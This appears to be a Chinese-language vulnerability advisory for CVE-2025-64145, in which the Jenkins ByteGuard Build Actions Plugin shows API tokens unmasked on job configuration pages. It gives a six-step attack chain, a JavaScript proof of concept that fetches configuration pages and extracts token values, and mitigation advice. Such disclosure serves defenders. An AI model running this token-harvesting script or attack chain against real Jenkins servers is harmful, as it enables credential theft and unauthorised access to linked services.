IPBUF安全漏洞报告
English
CVE-2025-64145 CVSS 4.3 中危

CVE-2025-64145 Jenkins ByteGuard Build Actions Plugin API令牌未掩码信息泄露

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64145
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins ByteGuard Build Actions Plugin 1.0

相关标签

信息泄露敏感数据暴露API令牌未掩码Jenkins插件漏洞ByteGuard Build Actions Plugin凭证管理不当CVE-2025-64145

漏洞概述

Jenkins ByteGuard Build Actions Plugin 1.0存在信息泄露漏洞,该插件在作业配置表单上显示API令牌时未进行掩码处理。攻击者通过低权限账户访问作业配置页面,即可直接查看明文显示的API令牌。这些API令牌通常用于与外部服务进行身份验证,一旦被窃取,攻击者可以代表合法用户执行操作,包括访问敏感数据、触发构建流程或操作外部系统。由于该漏洞不需要特殊权限或用户交互,攻击门槛较低,潜在影响范围较广。攻击者利用获取的令牌可以在目标Jenkins环境中进行横向移动或对外部服务发起进一步攻击。

技术细节

该漏洞源于ByteGuard Build Actions Plugin在渲染作业配置表单时,直接将API令牌以明文形式输出到HTML页面中。正常情况下,敏感凭据应该使用input type='password'或通过掩码字符(如星号)进行隐藏。该插件违反了安全编码最佳实践,在表单输入字段中使用了普通文本输入框,导致敏感信息在客户端可见。攻击者只需访问受影响作业的配置页面(URL格式通常为 /job/{job-name}/configure),即可在页面源码或DOM中查看到明文API令牌。由于Jenkins的作业配置页面通常允许具有作业配置权限的用户访问,而创建和配置作业只需要低权限(Job/Configure权限),使得攻击者可以在较低权限级别下实施攻击。

攻击链分析

STEP 1
Reconnaissance
攻击者扫描目标Jenkins实例,识别是否安装了ByteGuard Build Actions Plugin 1.0版本
STEP 2
Initial Access
攻击者使用低权限账户(具有Job/Configure权限)登录Jenkins系统
STEP 3
Target Identification
攻击者枚举配置了ByteGuard API令牌的作业列表
STEP 4
Token Extraction
攻击者访问作业配置页面(/job/{job-name}/configure),直接在页面或HTML源码中查看明文API令牌
STEP 5
Credential Abuse
攻击者利用获取的API令牌与外部服务进行认证,执行未授权操作
STEP 6
Lateral Movement
攻击者可能利用外部服务权限进一步扩大攻击范围或窃取更多敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64145 PoC - Information Disclosure via Unmasked API Token // This PoC demonstrates how to extract unmasked API tokens from Jenkins ByteGuard Plugin // Step 1: Access the job configuration page const jobName = 'your-target-job'; const configUrl = `${jenkinsUrl}/job/${jobName}/configure`; // Step 2: Fetch the configuration page fetch(configUrl, { method: 'GET', credentials: 'include' // Include session cookies for authentication }) .then(response => response.text()) .then(html => { // Step 3: Parse the HTML to find unmasked API tokens const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); // Look for input fields containing 'token' or 'api' in name/ID const inputs = doc.querySelectorAll('input[type="text"], input[type="password"]'); inputs.forEach(input => { const name = input.name || input.id || ''; const type = input.type; // Check if this is a ByteGuard API token field if (name.toLowerCase().includes('token') || name.toLowerCase().includes('api') || name.toLowerCase().includes('byteguard')) { // If type is 'text' instead of 'password', token is unmasked if (type === 'text') { console.log('[!] Unmasked token found!'); console.log('Field name:', name); console.log('Token value:', input.value); } } }); // Alternative: Search in raw HTML for visible token values const tokenPattern = /name=["'][^"']*token[^"']*["'][^>]*value=["']([^"']+)["']/gi; let match; while ((match = tokenPattern.exec(html)) !== null) { console.log('[!] Token found in HTML:', match[1]); } }); // Note: This PoC requires a valid Jenkins session with Job/Configure permission

影响范围

Jenkins ByteGuard Build Actions Plugin <= 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制具有作业配置权限的用户范围,确保只有可信人员拥有此权限;2) 定期轮换ByteGuard API令牌,减少令牌泄露后的有效攻击窗口;3) 监控Jenkins访问日志,关注异常的作业配置页面访问;4) 考虑禁用ByteGuard Build Actions Plugin直到漏洞修复;5) 实施网络隔离,限制Jenkins服务器的网络访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表